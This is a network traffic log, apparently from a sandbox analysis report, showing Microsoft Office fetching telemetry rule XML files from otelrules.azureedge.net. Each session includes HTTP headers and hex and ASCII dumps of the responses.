Session ID	Source IP	Source Port	Destination IP	Destination Port
87	192.168.2.9	49827	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:16 UTC	192	OUT	GET /rules/rule120601v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:16 GMT Content-Type: text/xml Content-Length: 3342 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:34 GMT ETag: "0x8DC582B927E47E9" x-ms-request-id: 13d8e9aa-301e-0020-7d2e-416299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215416Z-174f7845968pf68xhC1EWRr4h800000012bg0000000023vq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:16 UTC	3342	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 4f 53 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120601" V="3" DC="SM" EN="Office.System.SystemHealthMetadataOS" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC" xmlns=""> <RI

Session ID	Source IP	Source Port	Destination IP	Destination Port
88	192.168.2.9	49826	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:16 UTC	193	OUT	GET /rules/rule120602v10s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:16 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:16 GMT Content-Type: text/xml Content-Length: 2592 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5B890DB" x-ms-request-id: 8c2ab893-e01e-0003-5391-3f0fa8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215416Z-174f7845968px8v7hC1EWR08ng000000129000000000892r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:16 UTC	2592	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 32 22 20 56 3d 22 31 30 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 41 70 70 6c 69 63 61 74 69 6f 6e 41 6e 64 4c 61 6e 67 75 61 67 65 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120602" V="10" DC="SM" EN="Office.System.SystemHealthMetadataApplicationAndLanguage" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa=

Session ID	Source IP	Source Port	Destination IP	Destination Port
89	192.168.2.9	49828	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:16 UTC	193	OUT	GET /rules/rule224901v11s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:17 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:16 GMT Content-Type: text/xml Content-Length: 2284 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:13 GMT ETag: "0x8DC582BCD58BEEE" x-ms-request-id: fdaae0ed-201e-000c-15df-4179c4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215416Z-174f7845968vqt9xhC1EWRgten000000123g000000005nf5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:17 UTC	2284	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 31 22 20 56 3d 22 31 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 4c 69 63 65 6e 73 69 6e 67 2e 4f 66 66 69 63 65 43 6c 69 65 6e 74 4c 69 63 65 6e 73 69 6e 67 2e 44 6f 4c 69 63 65 6e 73 65 56 61 6c 69 64 61 74 69 6f 6e 22 20 41 54 54 3d 22 63 31 61 30 64 62 30 31 32 37 39 36 34 36 37 34 61 30 64 36 32 66 64 65 35 61 62 30 66 65 36 32 2d 36 65 63 34 61 63 34 35 2d 63 65 62 63 2d 34 66 38 30 2d 61 61 38 33 2d 62 36 62 39 64 33 61 38 36 65 64 37 2d 37 37 31 39 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 54 3d 22 55 70 6c 6f 61 64 2d 4d 65 64 69 75 6d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224901" V="11" DC="SM" EN="Office.Licensing.OfficeClientLicensing.DoLicenseValidation" ATT="c1a0db0127964674a0d62fde5ab0fe62-6ec4ac45-cebc-4f80-aa83-b6b9d3a86ed7-7719" SP="CriticalCensus" T="Upload-Medium"

Session ID	Source IP	Source Port	Destination IP	Destination Port
90	192.168.2.9	49829	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:17 UTC	192	OUT	GET /rules/rule701201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:17 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:51 GMT ETag: "0x8DC582BE3E55B6E" x-ms-request-id: a75c6aaa-401e-002a-4291-3fc62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215417Z-174f7845968j6t2phC1EWRcfe8000000126g0000000071y1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:18 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml"

Session ID	Source IP	Source Port	Destination IP	Destination Port
91	192.168.2.9	49830	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:17 UTC	192	OUT	GET /rules/rule701200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:18 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:38 GMT ETag: "0x8DC582BDC681E17" x-ms-request-id: 4455d6fa-e01e-0052-2ea9-42d9df000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215418Z-174f7845968pf68xhC1EWRr4h800000012ag000000004hh4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 58 61 6d 6c 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 58 61 6d 6c 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Xaml" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenXaml" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
92	192.168.2.9	49831	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:18 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:18 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: fe0e881e-601e-0050-1a3a-402c9c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215418Z-174f7845968vqt9xhC1EWRgten000000120000000000f22w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:18 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
93	192.168.2.9	49832	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:18 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:18 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:18 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 3d9c3aa7-901e-00ac-5891-3fb69e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215418Z-174f7845968xr5c2hC1EWRd0hn0000000kwg000000007e40 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:18 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
94	192.168.2.9	49834	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:18 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:19 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: 37388cc4-c01e-00ad-4fef-41a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215419Z-174f7845968j6t2phC1EWRcfe80000001270000000005s4w x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:19 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
95	192.168.2.9	49835	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:19 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: ebed6b5e-401e-0015-4f72-400e8d000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215420Z-174f7845968vqt9xhC1EWRgten0000001250000000001wpd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:20 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.9	49837	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:20 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:20 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:20 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 6ff37f82-301e-001f-5b9a-42aa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215420Z-174f7845968n2hr8hC1EWR9cag00000011mg00000000d3hv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:20 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.9	49838	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:20 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:20 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 92ec55f2-001e-0065-75e9-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215420Z-174f7845968frfdmhC1EWRxxbw0000001230000000006ya9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 21:54:21 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.9	49839	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 21:54:20 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 21:54:21 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 21:54:20 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T215420Z-174f7845968psccphC1EWRuz9s000000126000000000gpcd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
